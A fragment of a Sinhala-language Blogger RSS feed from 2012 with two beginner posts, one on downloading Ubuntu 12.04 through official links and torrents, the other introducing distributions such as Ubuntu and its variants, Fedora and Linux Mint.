+0000</pubDate><atom:updated>2012-10-08T20:03:32.006+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">FOSS</category><category domain="http://www.blogger.com/atom/ns#">Linux Distro</category><category domain="http://www.blogger.com/atom/ns#">Operating Systems</category><category domain="http://www.blogger.com/atom/ns#">Sinhala</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><title>ලිනක්ස් ඩිස්ට්‍රෝවක් ලබා ගන්නා ආකාරය.</title><description>&lt;br /&gt;
&lt;b&gt;&lt;u&gt;උබුන්ටු ලබා ගන්නා ආකාරය.&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
මෙච්චර දවසක් කථා කරපු &lt;b&gt;ලිනක්ස්&lt;/b&gt; ඔබේ පරිගණකයට ස්ථාපනය කරගන්න හැටි ගැන තමා අද කථා කරන්නේ. මේ සඳහා මම &lt;b&gt;උබුන්ටු&lt;/b&gt; ලිනක්ස් ඩිස්ට්‍රෝව තෝරගත්තේ ආධුනිකයෙකුට බොහෝම ලේසියෙන් &lt;b&gt;උබුන්ටු&lt;/b&gt; පාවිච්චි කරන්න පුළුවන් නිසයි.&lt;br /&gt;
උබුන්ටු ඔබේ පරිගණකයට ස්ථාපනය කරගන්න පුළුවන් ආකාර කිහිපයක්ම තියෙනවා. ඊට කලින් ඔබ ඔබට ගැලපෙන &lt;b&gt;උබුන්ටු&lt;/b&gt; සංස්කරණය තෝර ගෙන එය ලබා ගත යුතුයි.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
උබුන්ටු ඩෙස්ක්ටොප් හා ලැප්ටොප් පරිගණක සඳහාද, සර්වර් පරිගණක සඳහාද ලබාගත හැකිය. ඔබ භාවිතා කරන්නේ &lt;b&gt;ඉන්ටෙල්&lt;/b&gt; සමාගමේ සකසනයක් නම් හා ඔබට අවශ්ය්ය වන්නේ 32 බිට් සංස්කරණයක් නම් &lt;a href=&quot;http://www.ubuntu.com/download/desktop/thank-you?distro=desktop&amp;amp;release=lts&amp;amp;bits=32&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;මෙතනින්&lt;/b&gt;&lt;/a&gt; අදාල උබුන්ටු සංස්කරණය ලබා ගන්න. මෙය ඩෙස්ක්ටොප් හා ලැප්ටොප් පරිගණක සඳහා වන නවතම ස්ථායි බිටු 32 උබුන්ටු සංස්කරණයයි.&amp;nbsp;ඔබේ පරිගණකය බිටු 64 සඳහා සහයෝගය දක්වන එකක් නම් &lt;a href=&quot;http://www.ubuntu.com/download/desktop&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;මෙතනට&lt;/b&gt;&lt;/a&gt; පිවිස පහත රූපයේ පරිදි 64 බිට් ලෙස තෝරාගැනීම සඳහන් කොට උබුන්ටු 64 - bit සංස්කරණය ලබා ගන්න.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKYE_Cdm1PsdXZ98MeDWd8W99patofZFliGCAwLm8yHKCzn9xee5z1Chyphenhyphen2fv2oNsuP9T6KkP7OxI8kbBxx_d1r7u0xt6v0fTz40CS-UDx0KEcGZGryGajh_0juspX42LhPbs30xLXW1eY/s1600/ubuntu64.png&quot; /&gt;&lt;/div&gt;
&lt;b&gt;ටොරන්ට්&lt;/b&gt; මඟින් මෙම උබුන්ටු සංස්කරණ ලබා ගැනීමට පහත අදාල සංස්කරණය මත ක්ලික් කරන්න.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://releases.ubuntu.com/12.04/ubuntu-12.04.1-desktop-i386.iso.torrent&quot; target=&quot;_blank&quot;&gt;උබුන්ටු 12.04 බිටු 32 ඩෙස්ක්ටොප් සංස්කරණය&amp;nbsp;&lt;b style=&quot;color: black;&quot;&gt;ටොරන්ට්&lt;/b&gt;.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://releases.ubuntu.com/12.04/ubuntu-12.04.1-desktop-amd64.iso.torrent&quot; target=&quot;_blank&quot;&gt;උබුන්ටු 12.04 බිටු 64 ඩෙස්ක්ටොප් සංස්කරණය&amp;nbsp;&lt;b style=&quot;color: black;&quot;&gt;ටොරන්ට්&lt;/b&gt;.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
ඔබට සර්වර් සංස්කරණයක් හෝ ක්ලවුඩ් සංස්කරණයක් අවශ්ය නම් &lt;a href=&quot;http://www.ubuntu.com/download&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;මෙතනට&lt;/b&gt;&lt;/a&gt; පිවිස ඔබට අවශ්ය එක තෝරා ගන්න.&lt;br /&gt;
&lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/08/linux-distro.html&quot; target=&quot;_blank&quot;&gt;ලිනක්ස් ඩිස්ට්‍රෝ ලිපියේ&lt;/a&gt; සඳහන් වූ ඕනෑම ලිනක්ස් ඩිස්ට්‍රෝවක් එම ලිපියේ ඇති ලින්ක් &amp;nbsp;මඟින් ලබා ගත හැක.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;මෙසේ කුමන විදිහකට හරි උබුන්ටු මෙහෙයුම් පද්ධතියක් ඔබට ලබා ගැනීමට අපහසු නම් ඔබගේ පරිගණකයේ සකසනය &lt;b&gt;Intel&lt;/b&gt; ද, නැත්තම් &lt;b&gt;AMD&lt;/b&gt; යන්නද, බිටු 32 ද, නැත්නම් බිටු 64 ද යන වග සඳහන් කරමින්, &lt;b&gt;udsubodhana@gmail.com&lt;/b&gt; විද්යුත් ලිපිනයට ඔබගේ ලිපිනයද සඳහන් කරමින් ලිපියක් එවන්න. පුළුවන් පුළුවන් ආකාරයට ඔබට අවශ්ය &lt;b&gt;උබුන්ටු&lt;/b&gt; හෝ වෙනත් &lt;b&gt;ලිනක්ස්&lt;/b&gt; ඩිස්ට්‍රෝවක&lt;b&gt; සජීවී සංගත තැටියක්&lt;/b&gt;&amp;nbsp;ලබාදෙන්න උත්සහ කරන්නම්.&amp;nbsp;ඔබගේ විද්යුත් ලිපිනය හෝ සම්බන්ධ කරගැනීමට පුළුවන් ආකාරයක් (ෆේස් බුක් හෝ ට්විට්ර්‍ වැනි... හෝ දුරකථන අංකයක් හෝ)සඳහන් කරනවා නම් වඩාත් හොදයි.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;</description><link>http://linux-sinhala.blogspot.com/2012/08/blog-post_25.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKYE_Cdm1PsdXZ98MeDWd8W99patofZFliGCAwLm8yHKCzn9xee5z1Chyphenhyphen2fv2oNsuP9T6KkP7OxI8kbBxx_d1r7u0xt6v0fTz40CS-UDx0KEcGZGryGajh_0juspX42LhPbs30xLXW1eY/s72-c/ubuntu64.png" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-6272822053722637105</guid><pubDate>Fri, 24 Aug 2012 12:56:00 +0000</pubDate><atom:updated>2012-08-24T18:27:46.780+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Fedora</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Linux Distro</category><category domain="http://www.blogger.com/atom/ns#">Mint</category><category domain="http://www.blogger.com/atom/ns#">Operating Systems</category><category domain="http://www.blogger.com/atom/ns#">Sinhala Linux</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><title>Linux Distro හෙවත් ලිනක්ස් බෙදා හැරීම්.</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
අපි මෙච්චර වෙලා කතා කරපු &lt;b&gt;ලිනක්ස්&lt;/b&gt; අපිට ලබාගන්න පුළුවන් ආකාර කිහිපයක්ම තියෙනවා. භාවිතා කරන්නන්ගේ අවශ්යතාවන්ට ගැලපෙන අයුරින් මූලික &lt;a href=&quot;http://si.wikipedia.org/wiki/Linux_kernel&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt; කර්නලය&lt;/a&gt; සංස්කරණය කරමින් තැනූ මෙහෙයුම් පද්ධති එහෙමත් නැත්තම් &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_distribution&quot; target=&quot;_blank&quot;&gt;Linux Distribution&lt;/a&gt; බොහෝමයක් ඇත. විවිධ පුද්ගලයන්ගේ අවශ්යතා වෙනස් බැවින් ඒ ඒ අවශ්යතා වලට අනුකූලව ඒ ඒ පුද්ගලයන් හෝ ආයතන මෙම &lt;b&gt;ලිනක්ස්&lt;/b&gt; කර්නලය වෙනස් කරමින් භාවිතා කරයි.&amp;nbsp;මෙසේ තැනූ සිය දහසක් මෙහෙයුම් පද්ධති අතරින් ලංකාවේ අපිට ගොඩාක් හුරුපුරුදු&amp;nbsp;මෙහෙයුම් පද්ධති කීපයක් ගැන කෙටියෙන් හඳුන්වා දෙන්නයි යන්නේ. ඔබගේ අවශ්යතාවයන්ට අනුව ඔබට ගැළපෙන ලිනක්ස් ඩිස්ට්‍රොව තෝරගන්න.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtYmFSK7w93b_h-V-D9FI_GhqzFoThn-0VN60sOiOVGhnfH_pdHs7-oG7Q2QwnankV628Rnla4W_Hj9zNP1PIqclsm8XWmefm1FdoNj0Ea9QiK9UVXyGmgWQA2pBrcFubr6y0ruVcGbZc/s1600/ubuntulogo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;51&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtYmFSK7w93b_h-V-D9FI_GhqzFoThn-0VN60sOiOVGhnfH_pdHs7-oG7Q2QwnankV628Rnla4W_Hj9zNP1PIqclsm8XWmefm1FdoNj0Ea9QiK9UVXyGmgWQA2pBrcFubr6y0ruVcGbZc/s200/ubuntulogo.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;a href=&quot;http://www.ubuntu.com/&quot; target=&quot;_blank&quot;&gt;&lt;u style=&quot;font-weight: bold;&quot;&gt;උබුන්ටු - මනුෂ්යත්වයෙන් හැමෝටම&lt;/u&gt;&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;ලිනක්ස්&lt;/b&gt; ලෝකයේ ජන්ප්‍රියම, වඩාත්ම පරිශීලකයාට භාවිතයට පහසු මෙහෙයුම් පද්ධතිය තමා &lt;a href=&quot;http://si.wikipedia.org/wiki/%E0%B6%8B%E0%B6%B6%E0%B7%94%E0%B6%B1%E0%B7%8A%E0%B6%A7%E0%B7%94_(%E0%B6%B4%E0%B6%BB%E0%B7%92%E0%B6%9C%E0%B6%AB%E0%B6%9A_%E0%B6%B8%E0%B7%99%E0%B7%84%E0%B7%99%E0%B6%BA%E0%B7%94%E0%B6%B8%E0%B7%8A_%E0%B6%B4%E0%B6%AF%E0%B7%8A%E0%B6%B0%E0%B6%AD%E0%B7%92%E0%B6%BA)&quot; target=&quot;_blank&quot;&gt;උබුන්ටු&lt;/a&gt;. &lt;span style=&quot;font-size: x-small;&quot;&gt;(මෙම සිංහල විකි පිටුව යාවත්කාල කර නොමැත. නවතම ස්ථාවර නිකුතුව&lt;/span&gt; : &amp;nbsp;&lt;b style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;12.04 LTS&lt;/b&gt;&lt;span style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;Precise Pangolin&lt;/i&gt;&lt;span style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;&amp;nbsp;/ 26 April 2012&lt;/span&gt;&lt;span class=&quot;noprint&quot; style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;; 3 months ago&lt;/span&gt;&lt;span class=&quot;noprint&quot; style=&quot;background-color: #f9f9f9; font-family: sans-serif; line-height: 13.316666603088379px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 13.300000190734863px;&quot;&gt;ලෙසද, නවතම අස්ථාවර එකතුව :&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;i style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;Quantal Quetzal&lt;/i&gt;&lt;span style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;&amp;nbsp;Alpha 3 / 26 July 2012&lt;/span&gt;&lt;span class=&quot;noprint&quot; style=&quot;background-color: #f9f9f9; font-family: sans-serif; font-size: 11px; line-height: 16.883333206176758px;&quot;&gt;; 29 days ago&amp;nbsp;ලෙසද, වෙනස් විය යුතු අතර වැඩි විස්තර සඳහා &lt;a href=&quot;http://en.wikipedia.org/wiki/Ubuntu_(operating_system)&quot; target=&quot;_blank&quot;&gt;මෙතෙන්ට &lt;/a&gt;යන්න.&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
ඇත්තටම ආධුනිකයෙකුට හොද ආරම්භයක් ගන්න පුළුවන් &lt;b&gt;උබුන්ටු&lt;/b&gt;ත් එක්ක. ඩෙස්ක්ටොප්, ලැප්ටොප් වගේම සර්වර් පරිගණක සදහාද අදාළ &lt;b&gt;උබුන්ටු&lt;/b&gt; සංස්කරණ ඇත. වේගය, ලස්සන (උ&lt;b&gt;බුන්ටු &lt;/b&gt;වල ලස්සන බලන්න පාවිච්චි කරලම බලන්නකෝ) ඒ වගේම භාවිතයේ පහසුව, උදව් ලබාගැනීමේ පහසුව, සරළ බව වැනි හේතු &lt;b&gt;උබුන්ටු&lt;/b&gt; මෙච්චර ජනප්‍රිය කරන්න දායක වෙලා තියෙනවා.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFxwywOYoQrM4Rao2CjxQuhKQtJneG6NTSc0LeDqyBzQIbvK7eDl8Kcwa5Uramg42jwDbqGWpc5yJov_4EOZzt3ETz_sbdtOfR9dxekBKibDYl6CmTQfR3FNGeAysdRqopoMoTHsWBkGM/s1600/ris1oz.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;125&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFxwywOYoQrM4Rao2CjxQuhKQtJneG6NTSc0LeDqyBzQIbvK7eDl8Kcwa5Uramg42jwDbqGWpc5yJov_4EOZzt3ETz_sbdtOfR9dxekBKibDYl6CmTQfR3FNGeAysdRqopoMoTHsWBkGM/s200/ris1oz.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;u&gt;උබුන්ටු ඩෙස්ක්ටොප් එකක්.&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqWhvzNtNv8OSGFTtKVBrx6m4IkCK29kY2GWI_NoefCYwtjeSM5LtkNbVGoqiATUhnKgBK6CKSje0xl4gNYJCmP21uKhwKcwseSYAm99uq_PrMZitBBW_sf2fwlAsfYb7CYLTdwmsEru4/s1600/ubuntu12.04alpha.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;133&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqWhvzNtNv8OSGFTtKVBrx6m4IkCK29kY2GWI_NoefCYwtjeSM5LtkNbVGoqiATUhnKgBK6CKSje0xl4gNYJCmP21uKhwKcwseSYAm99uq_PrMZitBBW_sf2fwlAsfYb7CYLTdwmsEru4/s200/ubuntu12.04alpha.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;u&gt;උබුන්ටු ආරම්භක මෙනුව.&amp;nbsp;&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU_2MJy2mjo2dFh-_3D0_Yp_535Y8cD-0cZd1QP1P6qXlhHIs8QAc8a3mCrdNG-Gfdd1yguPuW9CfyUgRBSe5UXKRjTJRpD11D0EGDemS9oWOO3UDuz-3Lgz9PsVDVLPoPxAO62BilCQE/s1600/Ubuntu-search.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;131&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU_2MJy2mjo2dFh-_3D0_Yp_535Y8cD-0cZd1QP1P6qXlhHIs8QAc8a3mCrdNG-Gfdd1yguPuW9CfyUgRBSe5UXKRjTJRpD11D0EGDemS9oWOO3UDuz-3Lgz9PsVDVLPoPxAO62BilCQE/s200/Ubuntu-search.png&quot; width=&quot;200&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;u&gt;උබුන්ටු සෙවුම.&lt;/u&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
මේ රූප වලින් පෙන්නලා තියෙන්න එකිනෙකට වෙනස් පරිගණක 3ක තිර රූප බව දන්වා සිටිමි. ඔබට අවශ්ය පරිදි ඔබේ මෙහෙයුම් පද්ධතිය ලස්සන කරගනීමට උබුන්ටු වෙතින් සියළු පහසුකම් සලසා ඇත.&lt;br /&gt;
&lt;b&gt;උබුන්ටු&lt;/b&gt; වල වෙනත් සංස්කරණ කිහිපයක්ද පවතින අතර ඒවා ගැන කෙටියෙන් කියන්නම්.&lt;br /&gt;
&lt;a href=&quot;http://lubuntu.net/&quot; target=&quot;_blank&quot;&gt;ලුබුන්ටු&lt;/a&gt; යනු බොහෝම අඩු ශඛයතාවයක් පවතින පරිගණක සඳහා වූ &lt;b&gt;උබුන්ටු&lt;/b&gt; සංස්කරණයයි.&lt;br /&gt;
&lt;a href=&quot;http://www.edubuntu.org/&quot; target=&quot;_blank&quot;&gt;එඩුබුන්ටු&lt;/a&gt; යනු අධයාපනික කටයුතු උදෙසා විශේෂයෙන්ම සකසන ලද &lt;b&gt;උබුන්ටු&lt;/b&gt; සංස්කරණයයි.&lt;br /&gt;
&lt;a href=&quot;http://xubuntu.org/&quot; target=&quot;_blank&quot;&gt;ෂුබුන්ටු&lt;/a&gt; යනු තවත් සැහැල්ලු &lt;b&gt;උබුන්ටු&lt;/b&gt; මෙහෙයුම් පද්ධතියකි. අඩු ශඛයතාවයක් පවතින පරිගණක සඳහා වඩාත් සුදුසු වේ.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://fedoraproject.org/&quot; target=&quot;_blank&quot;&gt;ෆෙඩෝරා&amp;nbsp;Fedora Project&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq0Xk8gHgBSWn20OX-PQPkUgMoxhXmUaKl9L81ZEm2xq4IGPO2xemwo9pikPYPByG4XCJ4GhUBy3bUuGE77YOFvtORwKg_QK6VPsz86gblkdlYNL2j8mulJBzbUZxMwjnabfcJ7g4ExJk/s1600/fedoralogo.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq0Xk8gHgBSWn20OX-PQPkUgMoxhXmUaKl9L81ZEm2xq4IGPO2xemwo9pikPYPByG4XCJ4GhUBy3bUuGE77YOFvtORwKg_QK6VPsz86gblkdlYNL2j8mulJBzbUZxMwjnabfcJ7g4ExJk/s200/fedoralogo.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;ෆෙඩෝරා&lt;/b&gt; මෙහෙයුම් පද්ධතියත් හරිම ලස්සන භාවිතයට පහසු වේගවත් &lt;b&gt;ලිනක්ස්&lt;/b&gt; මූලික කරගත්ත මෙහෙයුම් පද්ධතියක්. &lt;a href=&quot;http://en.wikipedia.org/wiki/Red_Hat_Linux&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;රෙඩ් හැට් &lt;/b&gt;&lt;/a&gt;වයාපෘතිය නතර කර දැමුවාට පසුව තමා &lt;b&gt;ෆෙඩෝරා&lt;/b&gt; පටන් ගන්නේ. මේකත් ආධුනිකයට වුනත් ගැලපෙන පහසුවෙන් වැඩ කරගන්න පුළුවන් ලස්සන O/S එකක්.&amp;nbsp;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6A9RLxpET93Uf4Zt9IFoFoencPso2AMdlATqHW_Mv02AEla5qzsk8lKXp1OApvEt2ivo2gC3UTgnbPX3aaNbOCKok6htOF5EPkz9VPOgHPz3MCKvwQhX5FlBPMobLkr8vb6MSiR4_orQ/s1600/fedora1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;160&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6A9RLxpET93Uf4Zt9IFoFoencPso2AMdlATqHW_Mv02AEla5qzsk8lKXp1OApvEt2ivo2gC3UTgnbPX3aaNbOCKok6htOF5EPkz9VPOgHPz3MCKvwQhX5FlBPMobLkr8vb6MSiR4_orQ/s200/fedora1.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;u&gt;&lt;span style=&quot;font-size: small; text-align: start;&quot;&gt;ෆෙඩෝරා&amp;nbsp;&lt;/span&gt;මෙනුව&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8F3xQn-2xXJlZTWvzFJfQIFOY-6YTm_nhL3hIzjTWKZAy9gDjB8OzDSjT8XJ38KBu3-rs5DRifImsvhYpGbeQfyqS6zIvCaD-EaMeHaEkk7LLXWBpgNQSALG5BtPuMgPwUeXZj8ohEb0/s1600/f17-xfce01.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8F3xQn-2xXJlZTWvzFJfQIFOY-6YTm_nhL3hIzjTWKZAy9gDjB8OzDSjT8XJ38KBu3-rs5DRifImsvhYpGbeQfyqS6zIvCaD-EaMeHaEkk7LLXWBpgNQSALG5BtPuMgPwUeXZj8ohEb0/s200/f17-xfce01.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio2Eeio8Z1MZUBDzxCVGjwTo04u8MajDGj0H619M0V5IeIhW-raf39BECwo5MXme43o-mqFdigk-wishIGwB6bvLXx69ofmvt8XIMjjhJKmmJ7lcndTEr21UhTMb296aU9y-xcS0JR_LM/s1600/Fedora-17-The4Cast-Review-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio2Eeio8Z1MZUBDzxCVGjwTo04u8MajDGj0H619M0V5IeIhW-raf39BECwo5MXme43o-mqFdigk-wishIGwB6bvLXx69ofmvt8XIMjjhJKmmJ7lcndTEr21UhTMb296aU9y-xcS0JR_LM/s320/Fedora-17-The4Cast-Review-1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;u&gt;ආරම්භක තිරය&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://linuxmint.com/&quot; target=&quot;_blank&quot;&gt;ලිනක්ස් මින්ට්&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
මේකත් ආධුනිකයෙකුට ලේසියෙන්ම ඉගෙන ගන්න පුළුවන් තවත් එක ලස්සන &lt;b&gt;ලිනක්ස් &lt;/b&gt;ඩිස්ට්‍රොවක්. මේක &lt;b&gt;උබුන්ටු&lt;/b&gt; පාදක කරගෙන තමා බිහිවුනේ, නමුත් භාවිතා කරද්දි තේරෙයි &lt;b&gt;උබුන්ටු&lt;/b&gt; සහ &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_Mint&quot; target=&quot;_blank&quot;&gt;මින්ට්&lt;/a&gt; අතර පැහැදිලි වෙනස් කම් ඇති බවට.&lt;/div&gt;
